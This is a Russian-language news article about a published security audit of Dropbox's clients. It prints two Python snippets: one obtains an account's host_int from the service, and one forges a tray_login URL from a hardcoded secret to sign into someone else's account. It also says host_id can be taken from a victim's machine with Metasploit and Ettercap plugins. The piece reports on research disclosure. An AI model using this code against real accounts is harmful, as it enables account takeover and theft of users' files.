Специалисты по безопасности из CodePainters, Openwall и университета Британской Колумбии опубликовали подробный анализ веб-сервиса для хостинга и синхронизации файлов Dropbox.
Dropbox — известная компания, услугами которой пользуется более 100 миллионов человек, в то же время ее еще ни разу не подвергали тщательному независимому аудиту. Клиентские приложения Dropbox для десятка платформ написаны на Python, но их код обфусцирован, а программные интерфейсы не задокументированы. Поэтому данная работа имеет большое общественное значение. В конце концов, перед тем как доверить свою информацию облачному хостингу, пользователи имеют право знать, как работает в нем криптографическая защита и насколько безопасен сам сервис.
Авторы работы использовали новые и известные техники для реверс-инжиниринга Python-приложений Dropbox, обхода двухэтапной авторизации и взлома аккаунтов Dropbox. Кроме того, дополнительные методы использовались для перехвата SSL с инъекциями кода.
Авторы проделали большую и важную работу по реверс-инжинирингу программы. Одно из наиболее важных открытий — то, что для авторизации на сайте под любым аккаунтом достаточно знать два специфических значения для этого аккаунта: host_id и host_int. Первое из них можно извлечь из зашифрованной базы данных SQLite или из оперативной памяти компьютера жертвы. Исследователи нашли способ извлечь его даже из логов клиентского приложения Dropbox (они нашли способ и принудительно активировать запись логов с помощью плагина для Metasploit). Второе значение легко перехватить из трафика, используя плагин для Ettercap, это значение приходит от сервера при загрузке и не меняется, так что можно его просто запросить у сервера!
import json import requests host_id =data = ("buildno=Dropbox-win-1.7.5&tag=" "&uuid=123456&server_list=True&" "host_id=%s&hostname=random" % host_id) base_url = ’https://client10.dropbox.com’ url = base_url + ’/register_host’ headers = {’content-type’: \ ’application/x-www-form-urlencoded’, \ ’User-Agent’: "Dropbox ARM" } r = requests.post(url, data=data, headers=headers) data = json.loads(r.text) host_int = data["host_int"]
Когда host_id и host_int от чужого аккаунта известны, авторизация осуществляется с помощью такого кода:
import hashlib import time host_id =host_int = now = int(time.time()) fixed_secret = ’sKeevie4jeeVie9bEen5baRFin9’ h = hashlib.sha1(’%s%s%d’% (fixed_secret, host_id, now)).hexdigest() url = ("https://www.dropbox.com/tray_login?" "i=%d&t=%d&v=%s&url=home&cl=en" % (host_int, now, h))
Цель данной работы — приоткрыть «черную коробочку» Dropbox и посмотреть, как она устроена внутри. Авторы исследования предоставили всю необходимую информацию для создания свободной версии Dropbox-клиента, которая использует проприетарные API сервиса Dropbox.